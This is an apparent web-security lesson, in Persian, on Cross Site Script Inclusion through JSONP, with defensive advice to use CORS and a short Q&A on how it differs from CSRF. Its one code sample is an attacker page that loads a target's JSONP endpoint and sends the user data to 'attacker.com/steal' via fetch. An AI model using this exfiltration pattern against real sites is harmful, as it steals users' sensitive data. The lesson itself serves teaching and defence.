در حال بارگذاری...
تست آسیبپذیری Cross Site Script Inclusion (XSSI) که در آن مهاجم میتواند دادههای حساس را از طریق تگهای script بارگذاری کند.
اهداف این درس
Cross Site Script Inclusion (XSSI) آسیبپذیری است که به مهاجم اجازه میدهد دادههای حساس را از طریق تگهای script بارگذاری کند. این معمولاً از طریق JSONP انجام میشود.
نوعی حمله که در آن مهاجم دادههای حساس را از طریق تگهای script بارگذاری میکند.
JSONP (JSON with Padding) مکانیزمی برای دریافت داده cross-origin است که از تگ script استفاده میکند. این مکانیزم خطرناک است زیرا دادهها در context JavaScript اجرا میشوند.
1<!-- صفحه مهاجم -->2<script>3function callback(data) {4 // ارسال داده به سرور مهاجم5 fetch("https://attacker.com/steal?data=" + JSON.stringify(data));6}7</script>8<script src="https://target.com/api/user?callback=callback"></script>APIهایی که از JSONP پشتیبانی میکنند شناسایی کنید.
هشدار
JSONP خطرناک است و باید با CORS جایگزین شود.
توصیه عملی
از CORS به جای JSONP استفاده کنید و دادههای حساس را با POST در دسترس قرار دهید.
JSONP خطرناک است و باید محدود شود.
دادههای حساس نباید با GET قابل دسترسی باشند.
CORS جایگزین امنتر JSONP است.
XSSI داده میخواند، نه عملیات انجام میدهد.
XSSI چگونه از CSRF متفاوت است؟
تفاوت XSSI و CSRF چیست؟
XSSI داده میخواند اما CSRF عملیات انجام میدهد. XSSI برای سرقت داده و CSRF برای انجام عملیات است.
JSONP چیست و چرا خطرناک است؟
JSONP مکانیزمی برای دریافت داده cross-origin است که میتواند منجر به سرقت داده شود.